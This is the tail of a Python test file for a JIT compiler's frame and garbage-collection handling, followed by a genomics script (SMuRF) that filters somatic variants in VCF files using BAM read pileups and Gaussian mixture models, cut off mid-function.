f2 finishes execution and returns into f1. # # Shadow Stack PyFrame Stack # ------------ ------------ # f0 f0 # f1 # # T5: # # At time T5, f1 finishes executing and attempts to return. Since the # stack was materialized, it expects to find a PyFrameObject for # f1 at the top of the PyFrame stack and aborts when it does not. # # The test below exercises this scenario. thresholds = gc.get_threshold() # Initialize zombie frame for _inner (called by _outer). The zombie # frame will be used the next time _inner is called. This avoids a # trip to the allocator that could trigger GC. args = [] kwargs = {"foo": 1} _outer(args, kwargs) # Reset counts to zero. This allows us to set a threshold for # the first generation that will trigger collection when the keyword # dictionary is allocated in PyEval_EvalCodeWithName. gc.collect() # Create cyclic garbage that will materialize the Python stack when # it is collected _create_getframe_cycle() try: # JITRT_CallFunctionEx constructs a new keyword dictionary and args # tuple. PyEval_EvalCodeWithName does as well. gc.set_threshold(4) _outer(args, kwargs) finally: gc.set_threshold(*thresholds) class GetGenFrameDuringThrowTest(unittest.TestCase): def setUp(self) -> None: loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) self.loop = loop def tearDown(self): self.loop.close() asyncio.set_event_loop_policy(None) @unittest.failUnlessJITCompiled async def outer_propagates_exc(self, inner): return await inner @unittest.failUnlessJITCompiled async def outer_handles_exc(self, inner): try: await inner except TestException: return 123 async def inner(self, fut, outer_box): try: await fut except TestException: outer_coro = outer_box[0] outer_coro.cr_frame raise def run_test(self, outer_func): box = [None] fut = asyncio.Future() inner = self.inner(fut, box) outer = outer_func(inner) box[0] = outer outer.send(None) return outer.throw(TestException()) def test_unhandled_exc(self): with self.assertRaises(TestException): self.run_test(self.outer_propagates_exc) def test_handled_exc(self): with self.assertRaises(StopIteration) as cm: self.run_test(self.outer_handles_exc) self.assertEqual(cm.exception.value, 123) class DeleteAttrTests(unittest.TestCase): def test_delete_attr(self): class C: pass c = C() c.foo = "bar" self.assertEqual(c.foo, "bar") del c.foo with self.assertRaises(AttributeError): c.foo def test_delete_attr_raises(self): class C: @property def foo(self): return "hi" c = C() self.assertEqual(c.foo, "hi") with self.assertRaises(AttributeError): del c.foo _cmp_key = cmp_to_key(lambda x, y: 0) class OtherTests(unittest.TestCase): def test_type_ready(self): # T100786119: type(_cmp_key) should have been initialized, or JIT # will fail during compilation. self.cmp_key = _cmp_key @unittest.skipIf( not cinderjit, "meaningless without JIT enabled", ) def test_mlock_profiler_dependencies(self): cinderjit.mlock_profiler_dependencies() @unittest.skipIf(cinderjit is None, "not jitting") def test_page_in_profiler_dependencies(self): qualnames = cinderjit.page_in_profiler_dependencies() self.assertTrue(len(qualnames) > 0) if __name__ == "__main__": unittest.main()
SMuRF_OLD.py
#!/usr/bin/python # Import modules import vcf as pyvcf import pysam import argparse import multiprocessing as mp import queue import time import sys import collections import subprocess import os import glob import pandas as pd import matplotlib.pyplot as plt import numpy as np import re from sklearn.mixture import GaussianMixture from matplotlib.backends.backend_pdf import PdfPages import warnings # Get version from git #__version__ = subprocess.check_output(["git", "describe"]).strip().decode('UTF-8') __version__ = 'v2.0.0' # Set arguments parser = argparse.ArgumentParser() parser = argparse.ArgumentParser(description='Put here a description.') parser.add_argument('-i', '--input', type=str, help='Input indexed vcf.gz file', required=True) parser.add_argument('-b', '--bam', action='append', nargs="*", type=str, help='Input bam file', required=True) parser.add_argument('-t', '--threads', default=8, type=int, help="Number of threads (default: %(default)s)") parser.add_argument('-c', '--control', action='append', type=str, help='Control sample name') parser.add_argument('-bl', '--blacklist', action='append', type=str, help='Black list vcf or bed file. Multiple files can be used.') parser.add_argument('-q', '--qual', default=100, type=int, help="Flag variants with a low QUAL value (default: %(default)s)") parser.add_argument('-mq', '--mq', default=60, type=int, help="Flag variants with a low MQ value (default: %(default)s)") parser.add_argument('-sgq11','--sample_gq_homozygous', default=10, type=int, help="Minimal Genome Quality of a homozygous SNV in a sample (default: %(default)s)") parser.add_argument('-sgq01','--sample_gq_heterozygous', default=99, type=int, help="Minimal Genome Quality of a heterozygous SNV in a sample (default: %(default)s)") parser.add_argument('-cgq11','--control_gq_homozygous', default=10, type=int, help="Minimal Genome Quality of a homozygous SNV in a control (default: %(default)s)") parser.add_argument('-cgq01','--control_gq_heterozygous', default=10, type=int, help="Minimal Genome Quality of a heterozygous SNV in a control (default: %(default)s)") parser.add_argument('-igq11','--indel_gq_homozygous', default=99, type=int, help="Minimal Genome Quality of a homozygous indel (default: %(default)s)") parser.add_argument('-igq01','--indel_gq_heterozygous', default=99, type=int, help="Minimal Genome Quality of a heterozygous indel (default: %(default)s)") parser.add_argument('-igq00','--indel_gq_homref', default=20, type=int, help="Minimal Genome Quality of a homozygous reference indel (default: %(default)s)") parser.add_argument('-cov', '--coverage', default=10, type=int, help="Flag variants with a low COV value (default: %(default)s)") parser.add_argument('-ct', '--clonal_threshold', default=0.3, type=float, help="Sample reported as subclonal if VAF is lower (default: %(default)s)") parser.add_argument('-at', '--absent_threshold', default=0.0, type=float, help="Sample reported as absent if VAF is lower(default: %(default)s)") parser.add_argument('-m', '--mapq', default=0, type=int, help="Include only reads with a minimal mapq (default: %(default)s)") parser.add_argument('-p', '--base_phred_quality', default=0, type=int, help="Include only bases with a minimal base phred quality (default: %(default)s)") parser.add_argument('-minc','--min_components', default=2,type=int,help="Minimal number of components (default: %(default)s)") parser.add_argument('-maxc','--max_components',default=3,type=int,help="Maximal number of components (default: %(default)s)") parser.add_argument('-indel', '--indel', default=True, action='store_false', help="Exclude indels") parser.add_argument('-v', '--version', action='version', version=__version__) args = parser.parse_args() # Flatten input list of bam files args.bam = [x for l in args.bam for x in l] # Set default control None if no control is given at the command line if not args.control: args.control = [ None ] # Read the vcf, fix and add fields to the header vcf_reader = pyvcf.Reader(filename=args.input, encoding='utf-8') vcf_name = os.path.basename(args.input) vcf_name = vcf_name.replace(".vcf.gz","") # Create tmp directory if it does not exists try: os.stat('./SMuRF_tmp') except: os.mkdir('./SMuRF_tmp') # Define global variables vaf_dict = collections.defaultdict(list) responsibilities_dict = collections.defaultdict(dict) contig_list = [] bam_sample_names = collections.defaultdict(dict) def main(): global vcf_reader, vaf_df, blacklist vcf_reader = fix_vcf_header(vcf_reader) vcf_reader = add_vcf_header(vcf_reader) blacklist = create_blacklist() for contig in vcf_reader.contigs: contig_list.append(contig) # Create an input queue with the contigs and an empty output queue q = mp.Queue() q_out = mp.Queue() for contig in contig_list: q.put(contig) # Create number of processes to parse the vcf file processes = [mp.Process(target=parse_chr_vcf, args=(q, q_out, vcf_reader, args.bam)) for x in range(args.threads)] for p in processes: p.start() liveprocs = list(processes) while liveprocs: time.sleep(5) try: while 1: for s,v in q_out.get(block=False, timeout=1).items(): vaf_dict[s].extend(v) except queue.Empty: pass # Give tasks a chance to put more data in time.sleep(10) if not q.empty(): continue liveprocs = [p for p in liveprocs if p.is_alive()] for p in processes: p.join() def parse_chr_vcf(q, q_out, contig_vcf_reader, bams): """ Function to parse the vcf per contig. Write the new record to a vcf file. Input: Queue object Input: Queue out object Input: VCF reader object Input: List with the bam names """ while True: try: # Get contig one by one from the queue contig = q.get(block=False,timeout=1) contig_vaf = collections.defaultdict(list) contig_vcf_flag_writer = pyvcf.Writer(open('./SMuRF_tmp/{}_SMuRF.vcf'.format(contig),'w', encoding='utf-8'), contig_vcf_reader) try: # Try to parse the specific contig from the vcf contig_vcf_reader.fetch(contig) except: # Skip contig if it is not present in the vcf file continue # print( "blacklist", blacklist ) for record in contig_vcf_reader.fetch(contig): if not record.FILTER: chr = record.CHROM chr = chr.lower() chr = re.sub("chr|chrom", "", chr) if record.ID and "COSM" not in record.ID: record.FILTER.append('KnownVariant') elif record.QUAL < args.qual: record.FILTER.append('BadQual') elif len(record.ALT) > 1: record.FILTER.append('MultiAllelic') elif record.INFO['MQ'] < args.mq: record.FILTER.append('BadMQ') elif chr in blacklist and record.POS in blacklist[chr]: record.FILTER.append("BlackList") elif (len(record.ALT[0]) > 1 or len(record.REF) > 1) and not args.indel: record.FILTER.append("Indel") elif sample_quality_control( record ): for s,v in calculate_vaf( record ).items(): if ( not record.FILTER or record.FILTER == ['NoClonalSample'] ): contig_vaf[s].append(v) contig_vcf_flag_writer.write_record(record) q_out.put( contig_vaf ) # Break the loop if the queue is empty except queue.Empty: break def get_command_line(): """ Function to get the commandline arguments Return: A string with the actual command. """ cmdline = [sys.argv[0]] for arg in vars(args): if type(getattr(args,arg)) is list: for a in getattr(args,arg): cmdline.append('--{} {}'.format(arg,str(a))) else: cmdline.append('--{} {}'.format(arg,str(getattr(args,arg)))) return( '"{}"'.format(" ".join(cmdline)) ) def fix_vcf_header( vcf_reader ): """ Function to fix fields in the vcf header Input: A vcf reader object Return: The vcf reader object with fixed headers """ #dbNSFP_clinvar_clnsig has a Integer type but sometimes it is a String, e.g. 2|2 vcf_reader.infos['dbNSFP_clinvar_clnsig'] = pyvcf.parser._Info("dbNSFP_clinvar_clnsig",1,"String","Field 'clinvar_clnsig' from dbNSFP", None, None) #dbNSFP_clinvar_golden_stars has a Integer type but sometimes it is a String, e.g. 0|1 vcf_reader.infos['dbNSFP_clinvar_golden_stars'] = pyvcf.parser._Info("dbNSFP_clinvar_golden_stars",1,"String","Field 'clinvar_golden_stars' from dbNSFP", None, None) vcf_reader.infos['dbNSFP_hg18_chr'] = pyvcf.parser._Info("dbNSFP_hg18_chr",1,"String","Field 'hg18_chr' from dbNSFP", None, None) vcf_reader.infos['dbNSFP_hg19_chr'] = pyvcf.parser._Info("dbNSFP_hg19_chr",1,"String","Field 'hg19_chr' from dbNSFP", None, None) return( vcf_reader ) def add_vcf_header( vcf_reader ): """ Function to add a new field to the vcf header Input: A vcf reader object Return: The vcf reader object with new headers added """ # Metadata vcf_reader.metadata['SMuRFCmd'] = [get_command_line()] # Formats vcf_reader.formats['VAF'] = pyvcf.parser._Format('VAF',None,'Float','Variant Allele Frequency calculated from the BAM file') vcf_reader.formats['CAD'] = pyvcf.parser._Format('CAD',None,'Integer','Calculated Allelic Depth, used for VAF calculation') vcf_reader.formats['FT'] = pyvcf.parser._Format('FT',None,'String','Sample filter') # Filters vcf_reader.filters['KnownVariant'] = pyvcf.parser._Filter('KnownVariant','Variant has already an ID, excluding COSMIC_IDs') vcf_reader.filters['BadMQ'] = pyvcf.parser._Filter('BadMQ', 'Variant with MQ <'+str(args.mq)) vcf_reader.filters['BadQual'] = pyvcf.parser._Filter('BadQual','Variant with a QUAL <'+str(args.qual)) vcf_reader.filters['MultiAllelic'] = pyvcf.parser._Filter('MultiAllelic', 'Variant has multiple alternative alleles') vcf_reader.filters['BlackList'] = pyvcf.parser._Filter('BlackList', 'Variant exists in a blacklist') vcf_reader.filters['Indel'] = pyvcf.parser._Filter('Indel','Variant is an indel') vcf_reader.filters['ControlEvidence'] = pyvcf.parser._Filter('ControlEvidence','Variant is also found in a control based on the GT') vcf_reader.filters['NoSampleEvidence'] = pyvcf.parser._Filter('NoSampleEvidence','Variant is not found in any of the samples based on the GT') vcf_reader.filters['AllSamplesFailedQC'] = pyvcf.parser._Filter('AllSamplesFailedQC', 'All samples failed the quality control') vcf_reader.filters['AllControlsFailedQC'] = pyvcf.parser._Filter('AllControlsFailedQC', 'All controls failed the quality control') vcf_reader.filters['ControlSubclonal'] = pyvcf.parser._Filter('ControlSubclonal', 'Variant is found as subclonal in a control based on the recalculated VAF') vcf_reader.filters['ControlClonal'] = pyvcf.parser._Filter('ControlClonal', 'Variant is found as clonal in a control based on the recalculated VAF') vcf_reader.filters['NoClonalSample'] = pyvcf.parser._Filter('NoClonalSample', 'Variant is not found as clonal in any of the samples based on the recalculated VAF') # Sample filters vcf_reader.filters['LowCov'] = pyvcf.parser._Filter('LowCov', 'Variant has a coverage <'+str(args.coverage)+' in this sample/control') vcf_reader.filters['NoGenoType'] = pyvcf.parser._Filter('NoGenoType', 'Genotype is empty for this sample/control') vcf_reader.filters['isRef'] = pyvcf.parser._Filter('isRef', 'Genotype is a reference (i.e. reference 0/0)') vcf_reader.filters['isVariant'] = pyvcf.parser._Filter('isVariant', 'Genotype is a variant (i.e. not reference 0/0)') vcf_reader.filters['LowGQ'] = pyvcf.parser._Filter('LowGQ', 'Variant has a low genome quality for this sample/control') # Infos vcf_reader.infos['ABSENT_SAMPLES'] = pyvcf.parser._Info('ABSENT_SAMPLES',1,'Integer','Number of samples without the variant', None, None) vcf_reader.infos['SUBCLONAL_SAMPLES'] = pyvcf.parser._Info('SUBCLONAL_SAMPLES',1,'Integer','Number of samples with a subclonal variant', None, None) vcf_reader.infos['CLONAL_SAMPLES'] = pyvcf.parser._Info('CLONAL_SAMPLES',1,'Integer','Number of samples with a clonal variant', None, None) vcf_reader.infos['ABSENT_CONTROLS'] = pyvcf.parser._Info('ABSENT_CONTROLS',1,'Integer','Number of controls without the variant', None, None) vcf_reader.infos['SUBCLONAL_CONTROLS'] = pyvcf.parser._Info('SUBCLONAL_CONTROLS',1,'Integer','Number of controls with a subclonal variant', None, None) vcf_reader.infos['CLONAL_CONTROLS'] = pyvcf.parser._Info('CLONAL_CONTROLS',1,'Integer','Number of controls with a clonal variant', None, None) vcf_reader.infos['ABSENT_SAMPLE_NAMES'] = pyvcf.parser._Info('ABSENT_SAMPLE_NAMES',None,'String','Samples without the variant', None, None) vcf_reader.infos['SUBCLONAL_SAMPLE_NAMES'] = pyvcf.parser._Info('SUBCLONAL_SAMPLE_NAMES',None,'String','Samples with a subclonal variant', None, None) vcf_reader.infos['CLONAL_SAMPLE_NAMES'] = pyvcf.parser._Info('CLONAL_SAMPLE_NAMES',None,'String','Samples with a clonal variant', None, None) vcf_reader.infos['ABSENT_CONTROL_NAMES'] = pyvcf.parser._Info('ABSENT_CONTROL_NAMES',None,'String','Controls without the variant', None, None) vcf_reader.infos['SUBCLONAL_CONTROL_NAMES'] = pyvcf.parser._Info('SUBCLONAL_CONTROL_NAMES',None,'String','Controls with a subclonal variant', None, None) vcf_reader.infos['CLONAL_CONTROL_NAMES'] = pyvcf.parser._Info('CLONAL_CONTROL_NAMES',None,'String','Controls with a clonal variant', None, None) vcf_reader.infos['PASS_QC_SAMPLES'] = pyvcf.parser._Info('PASS_QC_SAMPLES',1,'Integer','Number of samples which pass all quality control filters', None, None) vcf_reader.infos['PASS_QC_CONTROLS'] = pyvcf.parser._Info('PASS_QC_CONTROLS',1,'Integer','Number of controls which pass all quality control filters', None, None) vcf_reader.infos['FAIL_QC_SAMPLES'] = pyvcf.parser._Info('FAIL_QC_SAMPLES',1,'Integer','Number of samples which failed one or multiple quality control filters', None, None) vcf_reader.infos['FAIL_QC_CONTROLS'] = pyvcf.parser._Info('FAIL_QC_CONTROLS',1,'Integer','Number of controls which failed one or multiple quality control filters', None, None) vcf_reader.infos['PASS_QC_SAMPLE_NAMES'] = pyvcf.parser._Info('PASS_QC_SAMPLE_NAMES',None,'String','Samples which pass all quality control filters', None, None) vcf_reader.infos['PASS_QC_CONTROL_NAMES'] = pyvcf.parser._Info('PASS_QC_CONTROL_NAMES',None,'String','Controls which pass all quality control filters', None, None) vcf_reader.infos['FAIL_QC_SAMPLE_NAMES'] = pyvcf.parser._Info('FAIL_QC_SAMPLE_NAMES',None,'String','Samples which failed one or multiple quality control filters', None, None) vcf_reader.infos['FAIL_QC_CONTROL_NAMES'] = pyvcf.parser._Info('FAIL_QC_CONTROL_NAMES',None,'String','Controls which failed one or multiple quality control filters', None, None) return( vcf_reader ) def get_sample_name( bamfile ): """ Function to get the sample name from the bam file Input: An AlignmentFile object of the bam file Return: The sample or False if there is no SM tag in the bam header """ header = bamfile.header sample_name = False if 'RG' in header: if type(header['RG']) is list: sample_name = header['RG'][0]['SM'] else: sample_name = header['RG']['SM'] return( sample_name ) def check_pileupread( pileupread ): """ Function to check a pileup read. Returns True if the read needs to be kept and returns False if read can be skipped. Input: Pileupread object Return: True or False """ check = True if pileupread.alignment.is_duplicate: check = False elif pileupread.is_del: check = False elif pileupread.is_refskip: check = False elif not pileupread.query_position: check = False elif pileupread.alignment.mapq < args.mapq: check = False elif pileupread.alignment.query_qualities[pileupread.query_position] < args.base_phred_quality: check = False return( check ) def update_call_data( call, edit_keys, edit_values, vcf_reader ): """ Function to add or update a field to the format field. This will be automatically update in the call object Input: A call object Input: A list with format fields Input: A list with format values """ f_keys = list(vcf_reader.formats.keys()) d = dict(call.data._asdict()) f_vals = [] for key in f_keys: if key in edit_keys: f_vals.append(edit_values[edit_keys.index(key)] ) elif key in d: f_vals.append(d[key] ) else: f_vals.append(None) handy_dict = dict(zip(f_keys, f_vals)) f_keys.remove('GT') f_keys.insert(0,'GT') call.data = collections.namedtuple('CallData',f_keys)(**handy_dict) def gmm( X ): """ Function to fit a GMM model with two components Input: Array with VAF values Return: x values Return: List with probability values for all components Return: List with probability values of each component Return: List of the means of each component Return: List of standard deviations of each component """ X = np.array(X) X = np.reshape(X, [len(X), 1]) # ------------------------------------------------------------ # Learn the best-fit GMM models # Here we'll use GMM in the standard way: the fit() method # uses an Expectation-Maximization approach to find the best # mixture of Gaussians for the data # fit models with 2 components N = np.arange(args.min_components, args.max_components) models = [None for i in range(len(N))] for i in range(len(N)): models[i] = GaussianMixture(N[i]).fit(X) # compute the AIC and the BIC AIC = [m.aic(X) for m in models] BIC = [m.bic(X) for m in models] x = np.linspace(0.01, 1, 100) x = x.reshape([len(x), 1]) M_best = models[np.argmin(AIC)] means = M_best.means_ N = M_best.n_components std_devs = [ np.sqrt( np.trace(M_best.covariances_[i])/N) for i in range(0,N) ] logprob = M_best.score_samples(x) responsibilities = M_best.predict_proba(x) p = np.exp(logprob) p_individual = responsibilities * p[:, np.newaxis] r = responsibilities r = r[:, np.argsort([u for m in means for u in m]) ] return( x, p, p_individual, means, std_devs, r ) def solve(m1,m2,std1,std2): """ Function to calculate the intersection points of two distributions Input: Mean of one distribution Input: Mean of another distribution Input: Standard deviation of a distribution Input: Standard deviation of another distribution Return: Intersection points """ a = 1/(2*std1**2) - 1/(2*std2**2) b = m2/(std2**2) - m1/(std1**2) c = m1**2 /(2*std1**2) - m2**2 / (2*std2**2) - np.log(std2/std1) return np.roots([a,b,c]) def create_vaf_plot(): """ Function to plot the VAF values """ # Open a multipage pdf file with PdfPages(vcf_name+'_SMuRF_VAFplot.pdf') as pdf: for sample in vaf_dict: plt.figure(figsize=(30,10)) x, p, p_individual, means, std_devs, respons = gmm( vaf_dict[sample] ) for idx in range(0,len(x)): x_vaf = '{0:.2f}'.format(x[idx][0]) responsibilities_dict[sample][x_vaf] = respons[idx].tolist() ax0 = plt.subplot(1,2,1) ax0.hist(vaf_dict[sample],bins=50) ax1 = plt.subplot(1,2,2) ax1.plot(x, p_individual, '--k', color='lightgray',linewidth=0.5) ax1.plot(x, p, '-k') ax1.axvline(x=0.5) ax1.axvline(x=0.3) mu = [] # Calculate the intersection points between the distributions result = solve(means[0],means[1], std_devs[0], std_devs[1]) for r in result: if r > 0.0 and r <= 1.0: # ax1.axvline(x=r,linestyle='dashed',color='lightgray',linewidth=0.5) means = np.append(means,r) # Plot lines at the mean of each distribution for m in means: mu.append(str(("{0:.2f}".format(float(m))))) ax1.axvline(x=m,linestyle='dashed',color='lightgray',linewidth=0.5) # Plot formatting plt.title(sample) # plt.xlabel('VAF') plt.ylabel('p(VAF)') # Set second x axis for the means of each component ax2 = ax1.twiny() ax2.xaxis.set_tick_params(length=15) ax2.set_xticks(means) ax2.set_xticklabels(mu) ax2.xaxis.set_ticks_position('bottom') ax2.xaxis.set_label_position('bottom') ax2.set_xlim(ax1.get_xlim()) pdf.savefig() plt.close() def sample_quality_control( record ): """ Function to check if the sample pass the quality control. Input: VCF record object Return: True of False if all samples or controls failed the quality control """ qc = collections.defaultdict(dict) noSampleEvidence = 0 controlEvidence = False indel = False check = True # Check if variant is an indel if (len(record.REF) > 1 or len(record.ALT[0]) > 1): indel = True for call in (record.samples): sample = True update_call_data(call, ['FT'], [None], vcf_reader) # Check is the sample is in the control list if call.sample in args.control: sample = False # QC fails if there is no genotype if call['GT'] == './.': qc[sample][call.sample] = 'NoGenoType' # QC fails if the coverage is too low elif (call['DP'] == None or call['DP'] < args.coverage): qc[sample][call.sample] = 'LowCov' elif sample: # If sample is homozygous reference if call['GT'] == '0/0': noSampleEvidence += 1 if indel and (not call['GQ'] or call['GQ'] < args.indel_gq_homref): qc[sample][call.sample] = 'LowGQ' elif not indel and (not call['GQ'] or call['GQ'] < args.sample_gq_homozygous): qc[sample][call.sample] = 'LowGQ' else: qc[sample][call.sample] = 'PASS' # Check QC for homozygous variant elif call['GT'] == '1/1': if indel and (not call['GQ'] or call['GQ'] < args.indel_gq_homozygous): qc[sample][call.sample] = 'LowGQ' elif not indel and (not call['GQ'] or call['GQ'] < args.sample_gq_homozygous): qc[sample][call.sample] = 'LowGQ' else: qc[sample][call.sample] = 'PASS' elif call['GT'] == '0/1': if indel and (not call['GQ'] or call['GQ'] < args.indel_gq_heterozygous): qc[sample][call.sample] = 'LowGQ' elif not indel and (not call['GQ'] or call['GQ'] < args.sample_gq_heterozygous): qc[sample][call.sample] = 'LowGQ' else: qc[sample][call.sample] = 'PASS' else: # If variant is also found in a control if call['GT'] == '0/1': controlEvidence = True if indel and (not call['GQ'] or call['GQ'] < args.indel_gq_heterozygous): qc[sample][call.sample] = 'LowGQ' elif not indel and (not call['GQ'] or call['GQ'] < args.control_gq_heterozygous): qc[sample][call.sample] = 'LowGQ' else: qc[sample][call.sample] = 'isVariant' elif call['GT'] == '1/1': controlEvidence = True if indel and (not call['GQ'] or call['GQ'] < args.indel_gq_homozygous): qc[sample][call.sample] = 'LowGQ' elif not indel and (not call['GQ'] or call['GQ'] < args.control_gq_homozygous): qc[sample][call.sample] = 'LowGQ' else: qc[sample][call.sample] = 'isVariant' elif call['GT'] == '0/0': if indel and (not call['GQ'] or call['GQ'] < args.indel_gq_homref): qc[sample][call.sample] = 'LowGQ' elif not indel and (not call['GQ'] or call['GQ'] < args.control_gq_homozygous): qc[sample][call.sample] = 'LowGQ' else: qc[sample][call.sample] = 'PASS' if call.sample in qc[sample]: update_call_data(call,['FT'],[qc[sample][call.sample]], vcf_reader) format_list = list(vcf_reader.formats.keys()) format_list.remove('GT') format_list.insert(0,'GT') # Add VAF information to the format field of each sample record.FORMAT = ":".join(format_list) # Flag variant if it is found in one of the controls if controlEvidence: record.FILTER.append('ControlEvidence') check = False # Flag variant if it is not found in one of the samples elif len(qc[True]) == noSampleEvidence : record.FILTER.append('NoSampleEvidence') check = False elif len(qc[False].keys()) > 0 and list(qc[False].values()).count('PASS') == 0: record.FILTER.append('AllControlsFailedQC') check = False elif list(qc[True].values()).count('PASS') == 0: record.FILTER.append('AllSamplesFailedQC') check = False else: record.INFO['PASS_QC_SAMPLES'] = list(qc[True].values()).count('PASS') record.INFO['FAIL_QC_SAMPLES'] = len(qc[True])-list(qc[True].values()).count('PASS') record.INFO['PASS_QC_SAMPLE_NAMES'] = list(np.array(list(qc[True].keys()))[list(np.where(np.array(list(qc[True].values())) == 'PASS')[0])]) record.INFO['FAIL_QC_SAMPLE_NAMES'] = list(np.array(list(qc[True].keys()))[list(np.where(np.array(list(qc[True].values())) != 'PASS')[0])]) if ( len(qc[False].keys()) > 0 ): record.INFO['PASS_QC_CONTROLS'] = list(qc[False].values()).count('PASS') record.INFO['FAIL_QC_CONTROLS'] = len(qc[False])- list(qc[False].values()).count('PASS') record.INFO['PASS_QC_CONTROL_NAMES'] = list(np.array(list(qc[False].keys()))[list(np.where(np.array(list(qc[False].values())) == 'PASS')[0])]) record.INFO['FAIL_QC_CONTROL_NAMES'] = list(np.array(list(qc[False].keys()))[list(np.where(np.array(list(qc[False].values())) != 'PASS')[0])]) return( check ) def calculate_vaf( record ): """ Function to calculate the VAF in the bam files Input: VCF record object Return: A tuple with VAF of each sample """ record_vaf = {} vaf_info = collections.defaultdict(lambda: collections.defaultdict(list)) qc = collections.defaultdict(dict) for call in (record.samples): # Add empty VAF and CAD tag to the record update_call_data(call, ['VAF','CAD'], [None, None], vcf_reader) for bam in args.bam: F=pysam.AlignmentFile(bam,'rb') if bam not in bam_sample_names: sample_name = get_sample_name(F) bam_sample_names[bam] = sample_name else: sample_name = bam_sample_names[bam] dv = 0 dr = 0 vaf = 0.0 # Loop through each reads that is overlapping the position of the variant for pileupcolumn in F.pileup(record.CHROM, int(record.POS)-1, int(record.POS), truncate=True, stepper='nofilter',min_base_quality=args.base_phred_quality): for pileupread in pileupcolumn.pileups: # QC the read if ( check_pileupread( pileupread) ): alt = record.ALT[0] # If variant is a SNV if (len(record.REF) == 1 and len(alt) == 1): # Read has the reference if pileupread.alignment.query_sequence[pileupread.query_position] == record.REF: dr+=1 # Read has the variant elif pileupread.alignment.query_sequence[pileupread.query_position] == alt: dv+=1 # If variant is deletion elif (len(record.REF) > 1 and len(alt) == 1): # Read has the deletion if ( pileupread.indel*-1 == len(record.REF)-1 ): dv+=1 # Read has no deletion elif pileupread.indel == 0: dr+=1 # If variant is an insertion elif ( len(record.REF) == 1 and len(alt) > 1 ): # Read has the insertion if ( pileupread.indel == len(alt)-1 ): dv+=1 # Read has no insertion elif pileupread.indel == 0: dr+=1 # If variant is an INDEL else: # Read has the INDEL if ( pileupread.indel == (len(alt)-len(record.REF)) ): dv+=1 # Read has no INDEL elif pileupread.indel == 0: dr+=1 # Calculate the VAF try: vaf = float("{0:.2f}".format(dv/float(dv+dr))) except ZeroDivisionError: continue # Loop through each sample in the vcf file for call in (record.samples): sample = True if call.sample in args.control: sample = False # Check if the sample name in the vcf file is the same as a sample name in the bam file if call.sample == sample_name: # Add the VAF and sample name to the output tuple if vaf > args.absent_threshold and call.sample not in args.control: record_vaf[call.sample] = vaf # Update the format field for this sample ft = call['FT'] if float(dv+dr) < args.coverage: ft = 'LowCov' qc[sample][call.sample] = 'LowCov' else: qc[sample][call.sample] = call['FT'] update_call_data(call, ['VAF','CAD','FT'], [vaf, [dr, dv], ft], vcf_reader) # Set absent, subclonal or clonal based on the VAF and threshold if vaf <= args.absent_threshold: vaf_info[sample]['ABSENT'].append(call.sample) elif vaf < args.clonal_threshold: vaf_info[sample]['SUBCLONAL'].append(call.sample) else: vaf_info[sample]['CLONAL'].append(call.sample) format_list = list(vcf_reader.formats.keys()) format_list.remove('GT') format_list.insert(0,'GT') # Add VAF information to the format field of each sample record.FORMAT = ":".join(format_list) # Add QC information to the INFO field if len(qc[False].keys()) > 0 and list(qc[False].values()).count('PASS') == 0: record.FILTER.append('AllControlsFailedQC') check = False elif list(qc[True].values()).count('PASS') == 0: record.FILTER.append('AllSamplesFailedQC') check = False else: record.INFO['PASS_QC_SAMPLES'] = list(qc[True].values()).count('PASS') record.INFO['FAIL_QC_SAMPLES'] = len(qc[True])-list(qc[True].values()).count('PASS') record.INFO['PASS_QC_SAMPLE_NAMES'] = list(np.array(list(qc[True].keys()))[list(np.where(np.array(list(qc[True].values())) == 'PASS')[0])]) record.INFO['FAIL_QC_SAMPLE_NAMES'] = list(np.array(list(qc[True].keys()))[list(np.where(np.array(list(qc[True].values())) != 'PASS')[0])]) if ( len(qc[False].keys()) > 0 ): record.INFO['PASS_QC_CONTROLS'] = list(qc[False].values()).count('PASS') record.INFO['FAIL_QC_CONTROLS'] = len(qc[False])- list(qc[False].values()).count('PASS') record.INFO['PASS_QC_CONTROL_NAMES'] = list(np.array(list(qc[False].keys()))[list(np.where(np.array(list(qc[False].values())) == 'PASS')[0])]) record.INFO['FAIL_QC_CONTROL_NAMES'] = list(np.array(list(qc[False].keys()))[list(np.where(np.array(list(qc[False].values())) != 'PASS')[0])]) # Add clonal information to the INFO field record.INFO['ABSENT_SAMPLES'] = len(vaf_info[True]['ABSENT']) record.INFO['SUBCLONAL_SAMPLES'] = len(vaf_info[True]['SUBCLONAL']) record.INFO['CLONAL_SAMPLES'] = len(vaf_info[True]['CLONAL']) record.INFO['ABSENT_CONTROLS'] = len(vaf_info[False]['ABSENT']) record.INFO['SUBCLONAL_CONTROLS'] = len(vaf_info[False]['SUBCLONAL']) record.INFO['CLONAL_CONTROLS'] = len(vaf_info[False]['CLONAL']) record.INFO['ABSENT_SAMPLE_NAMES'] = vaf_info[True]['ABSENT'] record.INFO['SUBCLONAL_SAMPLE_NAMES'] = vaf_info[True]['SUBCLONAL'] record.INFO['CLONAL_SAMPLE_NAMES'] = vaf_info[True]['CLONAL'] record.INFO['ABSENT_CONTROL_NAMES'] = vaf_info[False]['ABSENT'] record.INFO['SUBCLONAL_CONTROL_NAMES'] = vaf_info[False]['SUBCLONAL'] record.INFO['CLONAL_CONTROL_NAMES'] = vaf_info[False]['CLONAL'] # Flag variant if it is found subclonal in a control if len(vaf_info[False]['SUBCLONAL']) > 0: record.FILTER.append('ControlSubclonal') # Flag variant if it is found clonal in a control elif len(vaf_info[False]['CLONAL']) > 0: record.FILTER.append('ControlClonal') # Flag variant if it is not found clonal in one of the samples elif len(vaf_info[True]['CLONAL']) == 0: record.FILTER.append('NoClonalSample') return( record_vaf ) def create_blacklist(): """ Function to fill the blacklist dictionary """ # global blacklist # Loop through every blacklist file given on the command line blacklists = [] for bl_vcf in args.blacklist: blacklist_single = pd.read_csv(bl_vcf, sep="\t", comment="#", header=None, names=["chr", "loc"], usecols=["chr", "loc"], dtype={0: "str", 1: "int"}) if bl_vcf.endswith(".bed"): blacklist_single["loc"] += 1 #Bed files are 0-based and are converted to 1-based. elif not bl_vcf.endswith(".vcf"): warnings.warn("""The blacklist: {0} is not a .vcf or .bed file. Continuing with the following assumptions:\n Column 1: Chromosome\n Column 2: 1-based position\n Header/Comments: #""".format(bl_vcf)) blacklists.append(blacklist_single) blacklist = pd.concat(blacklists) blacklist["chr"] = blacklist["chr"].str.lower().str.replace("chr|chrom", "") blacklist = {k: g["loc"].tolist() for k, g in blacklist.groupby("chr")} return( blacklist ) def merge_tmp_vcfs(): """ Function 